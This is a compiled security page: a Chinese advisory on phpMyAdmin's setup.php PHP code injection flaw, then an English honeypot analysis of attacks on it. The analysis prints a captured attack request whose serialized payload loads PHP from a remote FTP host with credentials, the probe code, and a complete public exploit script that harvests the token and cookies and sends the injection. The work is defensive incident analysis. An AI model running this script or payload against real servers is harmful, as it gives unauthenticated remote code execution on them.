phpMyAdmin setup.php脚本的任意PHP代码注入漏洞

phpMyAdmin (/scripts/setup.php) PHP 注入代码

此漏洞代码在以下环境测试通过：
phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 及 3.0.1.1版本；
Linux内核版本 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)；
攻击环境要求：
phpMyAdmin版本：早于2.11.9.5的2.11.x和早于3.1.3.1的3.x；
此漏洞只针对采用向导模式安装的phpMyAdmin有效，而对采用手动安装的无效；
管理员必须未删除"/phpMyAdmin/"目录下的"/config/"子目录，因为"/scripts/setup.php"尝试创建的下面PHP代码注入的"config.inc.php"文件正是在这个子目录下。
http://www.cfresh.net/web-security/179
-----------------------------------------------------------------------------------------

受影响系统：
phpMyAdmin phpMyAdmin 3.x
phpMyAdmin phpMyAdmin 2.11.x

不受影响系统：
phpMyAdmin phpMyAdmin 3.1.3.1
phpMyAdmin phpMyAdmin 2.11.9.5

描述：
phpMyAdmin是用PHP编写的工具，用于通过WEB管理MySQL。

phpMyAdmin的Setup脚本用于生成配置。如果远程攻击者向该脚本提交了特制的POST请求的话，就可能在生成的config.inc.php配置文件中包含任意PHP代码。由于配置文件被保存到了服务器上，未经认证的远程攻击者可以利用这个漏洞执行任意PHP代码。

厂商补丁：

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://phpmyadmin.svn.sourceforge.net/viewvc/phpmyadmin?view=rev&revision=12301
---------------------------------------------------------------------

PhpMyAdmin setup.php RFI Attacks Detected

SpiderLabs is the corporate sponsor of the WASC Distributed Web Honeypots Project which is an awesome research project to identify automated web attacks. I was looking in our central ModSecurity AuditConsolelogging host today and I noticed a spike in traffic from some Russian IPs that were scanning for the PMASA-2010-4 vulnerability in the PhpMyAdmin setup.php script.



Let's look at the raw ModSecurity audit log data of the inbound request:

--4064df0e-A--[10/Apr/2012:18:05:55 +0000] T4R2gwowybkAAHp9G@sAAAAF 212.24.61.167 38767 XXX.XXX.XXX.XXX 80--4064df0e-B--POST /pma/scripts/setup.php HTTP/1.1Connection: closeHost: 176.34.207.219Referer: 176.34.207.219User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]Content-Type: application/x-www-form-urlencodedContent-Length: 238--4064df0e-C--action=lay_navigation&eoltype=unix&token=&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A55%3A%22ftp%3A%2F%2Fthewinecompany%3AgXNbUEwfLa%4046%2E32%2E228%2E222%2F%2Ea%2Fid%2Etxt%22%3B%7D%7D

If we URL decode the request body data, we get this:

action=lay_navigation&eoltype=unix&token=&configuration=a:1:{i:0;O:10:"PMA_Config":1:{<span><strong>s:6:"source";s:55:"ftp://thewinecompany:gXNbUEwfLa@46.32.228.222/.a/id.txt"</strong></span>;}}

As you can see, the attacker is attempting overwrite the PhpMyAdmin configuration file by instructing it to use FTP to download and run the "id.txt" file on a remote site. The contents of the id.txt file is PHP code:

<?phpprint(base64_decode("c3Q0cjc="));echo(php_uname());print(base64_decode("ZjFuMTVo"));die;?>

Looking at what this file is doing, it appears to be a simple probe to identify if the target web application is vulnerable to this type of RFI attack. If the application responds with the output from these PHP commands, then the attacker will proceed with other attacks. SpiderLabs Research was able to find the following script. in public forums that launch similar attacks:

/* wtf zmeu was here haha,yeah me... found this sh*t bug on pmasux */$arguments = getopt("a:b:c");$pma_setup_url = $arguments[a];//echo $arguments[a];$ftp_code = 'ftp://devil:devil@85.10.138.51/c.txt';//$method = POST|GET, $url = http:// /path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent

function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = ''){$return = '';$feof_count = 0;$parsed_url = parse_url($url);$site = $parsed_url;$path = $parsed_url;$query = $parsed_url;($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';$fp = fsockopen($site, 80, $errno, $errstr, 30);($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";$out .= "Host: $site\r\n";$out .= "Content-type: application/x-www-form-urlencoded\r\n";$out .= "Connection: Close\r\n";$out .= "User-Agent: $ua_string\r\n";$out .= "Referer: $referer_string\r\n";$out .= "Cookie: $cookie_string\r\n";($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);while (!feof($fp)){if($feof_count >=200)break;$return .= fread($fp, 4800);++$feof_count;}fclose($fp);return $return;}$token_page = send_data('GET',$pma_setup_url,'',$pma_setup_url,'','Opera');preg_match('@name="token" value="(a-f0-9{32})"@is',$token_page,$token_array);

$token = $token_array[1];preg_match_all('@Set-Cookie: (<span>^\r\n;</span>+)@is',$token_page,$cookie_array);$cookie_array = $cookie_array[1];$cookie_array = implode("; ",$cookie_array);printsend_data('POST',$pma_setup_url,'action=lay_navigation&eoltype=unix&token='.$token.'&configuration='.urlencode('a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($ftp_code).':"'.$ftp_code.'";}}'),$pma_setup_url,$cookie_array,'Opera');

This issue was patched in the php source code with the following update:



By filtering out non-word characters, it would prevent the attacker from injecting the RFI code